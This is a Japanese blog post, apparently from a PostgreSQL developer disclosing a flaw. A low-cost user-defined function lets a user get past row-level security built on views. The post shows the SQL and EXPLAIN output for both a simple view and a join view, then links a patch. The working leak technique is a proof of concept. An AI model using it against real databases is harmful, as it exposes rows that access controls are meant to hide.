Step to break Row-level security using VIEWs

RDBMSでビューを使った行レベルアクセス制御はよく知られたテクニックである。
だが、PostgreSQLでユーザ定義関数を使って、ビューによる行レベルアクセス制御をバイパスする方法については、よく知られたテクニックであるかどうかは不明である。

下のユーザ定義関数を見てほしい。注目すべきは、関数の実行コストを 0.0001 と与えているところ。

postgres=# CREATE FUNCTION f_malicious(text) RETURNS bool
    LANGUAGE 'plpgsql' COST 0.0001
    AS 'BEGIN RAISE NOTICE ''f_malicious: %'', $1; RETURN true; END;';
CREATE FUNCTION

PostgreSQLに限らず、世間一般のRDBMSでは、SELECT文を実行してテーブルからデータを取り出す時に、タプルが検索条件に合致するかどうかを検査する必要がある。

PostgreSQLの最適化は、条件句に複数の条件がAND結合されている時に、実行コストの小さいものから順に実行するように、検索条件の実行順序を並べ替える。BOOL型のAND結合なので、当然、順序を入れ替えても実行結果は同じはずである。但し、副作用のない関数であればの話だが。

例えば、以下のようにテーブルとビューを定義して、主キーが奇数の行しか見えないとしよう。

postgres=# CREATE TABLE t1 (a int primary key, b text);
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "t1_pkey" for table "t1"
CREATE TABLE
postgres=# INSERT INTO t1 VALUES (1, 'aaa'), (2, 'bbb'), (3, 'ccc');
INSERT 0 3
postgres=# CREATE VIEW v1 AS SELECT * FROM t1 WHERE a & 1 = 1;
CREATE VIEW

postgres=# SELECT * FROM v1;
 a |  b
                • -
1 | aaa 3 | ccc (2 rows)

正しく動いているように見える。駄菓子菓子。

postgres=# SELECT * FROM v1 WHERE f_malicious(b);
NOTICE:  f_malicious: aaa
NOTICE:  f_malicious: bbb <--- え!?
NOTICE:  f_malicious: ccc
 a |  b
                • -
1 | aaa 3 | ccc (2 rows)

EXPLAINでクエリ実行計画を見てみると、謎が解ける。

postgres=# EXPLAIN SELECT * FROM v1 WHERE f_malicious(b);
                     QUERY PLAN
                                                                                                      • -
Seq Scan on t1 (cost=0.00..28.45 rows=2 width=36) Filter: (f_malicious(b) AND ( (a & 1) = 1)) (2 rows)

テーブルt1をスキャンする時に、検索条件は f_malicious() と (t1.a & 1) = 1 の2つだが、f_malicious() の作成時に実行コストを極めて小さく与えたために、最適化によって f_malicious() の実行の方が先に並べ替えられてしまった。

そのため、本来はフィルタリングされるはずの偶数キーのタプルの内容が f_malicious() に渡され、それが外部にリークするという結果をもたらしている。


実は、これとは別のシナリオで行レベルアクセス制御を破る方法も存在する。

下のビュー定義を見てほしい。内部で2つのテーブルをJOINしている。
同様に、偶数キーをフィルタリングしている。

postgres=# CREATE TABLE t2 (x int primary key, y text);
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "t2_pkey" for table "t2"
CREATE TABLE
postgres=# INSERT INTO t2 VALUES (1, 'xxx'), (2, 'yyy'), (3, 'zzz');
INSERT 0 3

postgres=# CREATE VIEW v2 AS SELECT * FROM t1 JOIN t2 ON t1.a = t2.x WHERE a & 1 = 1;
CREATE VIEW
postgres=# SELECT * FROM v2;
 a |  b  | x |  y
                                    • -
1 | aaa | 1 | xxx 3 | ccc | 3 | zzz (2 rows)

駄菓子菓子。これも案の定、簡単に破る事ができる。

postgres=# SELECT * FROM v2 WHERE f_malicious(y);
NOTICE:  f_malicious: xxx
NOTICE:  f_malicious: yyy <-- あれま!?
NOTICE:  f_malicious: zzz
 a |  b  | x |  y
                                    • -
1 | aaa | 1 | xxx 3 | ccc | 3 | zzz (2 rows)

同じように見えるが、これはさっきの現象とはシナリオが異なる。
下記のEXPLAINの出力結果を見てほしい。

postgres=# EXPLAIN SELECT * FROM v2 WHERE f_malicious(y);
                           QUERY PLAN
                                                                                                                              • -
Hash Join (cost=28.52..52.42 rows=6 width=72) Hash Cond: (t2.x = t1.a) -> Seq Scan on t2 (cost=0.00..22.30 rows=410 width=36) Filter: f_malicious(y) -> Hash (cost=28.45..28.45 rows=6 width=36) -> Seq Scan on t1 (cost=0.00..28.45 rows=6 width=36) Filter: ( (a & 1) = 1) (7 rows)

フィルタリングの条件 (t1.a & 1) = 1 が Seq-Scan on t1 に結びついている一方で、
f_malicious(y) が JOIN ループの内側、Seq-Scan on t2 に結びついているのである。

これは、JOINすべきタプルの数が少なければ少ないほど、処理が軽くて済むという考えから、
引数が t2 テーブルのみに依存している f_malicious() 関数を t2 スキャンに結びつける
という最適化が行われている。

もちろん、セキュリティ的な視点からはダウト。

てな事で、放置する訳にも行かないのでパッチを投稿。
http://archives.postgresql.org/message-id/4C076B96.8080502@ak.jp.nec.com

一番の問題は、SE-PostgreSQLの行レベル制御にも同じ方法を使うように提案されているものの、
こんなボロボロじゃ使い物にならないという事だ。早く直さねば。(´ー`;)